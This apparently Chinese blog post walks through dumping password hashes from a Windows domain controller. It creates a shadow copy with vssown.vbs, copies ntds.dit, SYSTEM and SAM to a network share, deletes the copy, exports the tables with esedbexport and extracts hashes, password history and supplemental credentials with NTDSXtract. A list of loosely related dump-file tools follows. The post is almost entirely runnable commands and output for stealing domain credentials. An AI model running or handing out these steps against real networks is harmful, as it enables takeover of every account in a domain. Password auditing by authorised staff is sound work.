`

从域控制器中dump hash(二)

 
阅读更多
参考:http://blog.cyberis.co.uk/2012/06/password-audit-of-domain-controller.html
1. 创建Shadow Copy
引用

cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list

2. 从shadow copy中copy文件
引用

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit \\<some network share>\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM \\<some network share>\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM \\<some network share>\

3. 删除创建的shadow copy
引用
cscript vssown.vbs /delete <ID>

4. 从http://sourceforge.net/projects/libesedb/下载libesedb
5. 从ntds.dit中提取数据库表
引用

$ esedbexport -l /tmp/esedbexport.log -t /tmp/ntds.dit.export <ntds.dit file>

Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.

6. 使用NTDSXtract解析表
引用

~/NTDSXtract $ python dsusers.py /tmp/ntds.dit.export/datatable.3 /tmp/ntds.dit.export/link_table.5 --passwordhashes <SYSTEM file> --passwordhistory <SYSTEM file> --certificates --supplcreds <SYSTEM file> --membership > /tmp/ntds.dit.output
分享到:
评论

相关推荐

    根据攻防以及域信息收集经验dump快而有用的域信息.zip

    7. **域控制器发现**:用于定位网络中的域控制器,这在攻击者试图提升权限或进行横向移动时非常重要。 8. **安全组成员分析**:分析域中的安全组成员,找出高权限用户或特权账户。 9. **密码策略检测**:可能包含...

    Dump 文件查看器

    在描述中提到的"浏览二进制 十进制 十六进制转换浏览"功能,指的是Dump查看器能够以三种不同的数值表示方式展示数据,这对于理解内存中的数据至关重要。二进制(Binary)是最基础的数字系统,由0和1组成,常用于...

    Dump文件编辑中文版

    Dump文件编辑中文版 分析DUMP文件数据 修改数据

    dump文件生成工具DumpTool

    DumpTool主要用来在用户机器上对目标进程生成dump文件,定位“卡死”、Crash等问题。 (1)MiniDump: 表示生成一个包含必要信息的dump文件,文件大小约200-500k,具体Flag =MiniDumpNormal|...

    dumptxt转换工具

    在IT领域,dump文件通常是指系统崩溃时产生的内存转储,或者数据库的备份文件,它们包含了大量的二进制数据,可能包含了系统状态、程序错误信息等关键数据。这样的文件对于故障排查和问题诊断非常有用,但因为是非...

    c++ 自动dump AutoDump

    C++ 自动dump,也称为自动崩溃转储(Automatic Dump),是编程中一种常见的调试技术。当应用程序出现异常或者崩溃时,系统会自动保存当前进程的状态,包括内存映射、堆栈信息、线程状态等,形成一个dump文件。这个...

    C++生成dump文件

    现在,我们来详细讲解如何在C++ Windows工程中生成dump文件。 首先,我们需要包含相应的头文件。在`main.cpp`中,引入`windows.h`和`dbghelp.h`,这两个头文件分别提供了Windows API和用于处理dump文件的API: ```...

    dump命令 备份文件系统

    dump命令用于备份文件系统 ,dump为备份工具程序,可将目录或整个文件系统备份至指定的设备,或备份成一个大文件。 语法格式:dump [参数] 常用参数: -0123456789 备份的层级 -b 指定区块的大小,单位为KB ...

    dump1090-win.1.10.3010.14_dump1090win_dump1090_eastixg_

    标题 "dump1090-win.1.10.3010.14_dump1090win_dump1090_eastixg_" 指的是一个针对Windows平台的dump1090软件的特定版本。这个软件主要用于接收和处理航空雷达数据,特别是与RTL-SDR(低成本软件定义无线电)设备...

    dump文件修改

    标题中的“dump文件修改”指的是在信息技术领域中对数据进行备份或分析的一种操作。Dump文件通常是由硬件设备,如IC卡(集成电路卡),通过特定工具读取并生成的数据副本,这些副本包含了卡片上的原始信息。在本场景...

    C++ 生成Dump文件

    在实际应用中,"dumpTest"这样的文件名可能是生成的Dump文件的示例,开发者可以通过分析这个文件找出程序中的错误。 总的来说,C++生成Dump文件是一项重要的调试技术,它使得在程序异常时能快速定位问题,提高了...

    容器中生成coredump文件

    如何在让docker中运行的进程生成core dump文件

    DUMP_C++_dump_

    在C++编程中,捕获内存相关错误并生成dump文件是一项关键的技术,它能帮助开发者在程序崩溃或出现异常时分析问题原因。"DUMP_C++_dump_"这个标题暗示了我们将讨论如何在C++中处理内存错误并创建内存转储(dump)文件...

    Coredump简介及使用

    利用调试工具,开发者可以从Coredump文件中获取到程序崩溃时的内存快照、寄存器值、运行堆栈等信息,然后通过源代码和调试信息逐步定位问题所在。 五、开始使用Coredump 一旦Coredump文件生成,并且准备工作就绪,...

    rtmpdump.zip

    rtmpdump是一个开源工具,主要用于从RTMP(Real-Time Messaging Protocol)流中捕获和下载媒体内容,如视频和音频。这个压缩包“rtmpdump.zip”包含了在Visual Studio环境中编译rtmpdump项目所需的所有关键文件,...

    ramdump-tools

    在IT行业中,尤其是在移动设备和嵌入式系统的故障排查领域,ramdump是一个至关重要的概念。ramdump-tools是一款针对高通方案设备的专业宕机本地ramdump分析工具,它提供了比高通在线宕机分析工具qcap更为强大和便捷...

    Linux下生成core dump

    - **/proc/sys/kernel/core_uses_pid**:此文件用于控制是否在core dump文件名中包含进程ID。如果其值为1,则文件名会包含进程ID,便于区分不同的core dump文件。例如: ```sh echo 'core.%p' &gt; /proc/sys/kernel...

    heapdump分析工具

    文件列表中的`ha39.jar`可能是用于生成或分析heapdump的工具,它可能包含了特定的内存分析算法或工具集。这类工具通常需要与JVM配合使用,通过读取heapdump文件,提供更便捷的分析界面和功能。 `readme.zip`可能...

    Dump文件转txt

    总的来说,将Dump文件转为txt是故障排查过程中的一个重要步骤,通过这种方式,我们可以更直观地查看和理解系统或应用在崩溃时的状态,从而有效地解决问题。不过,这个过程需要一定的调试知识和经验,因此对于初学者...

    AIX dump分析工具

    3. **解析dump文件**:运行dump分析工具,输入dump文件的路径,工具会自动生成报告,展示内存、线程、类加载器等方面的信息。 4. **分析报告**:仔细阅读生成的报告,查找异常、警告或性能问题的线索。对于ha398....

Global site tag (gtag.js) - Google Analytics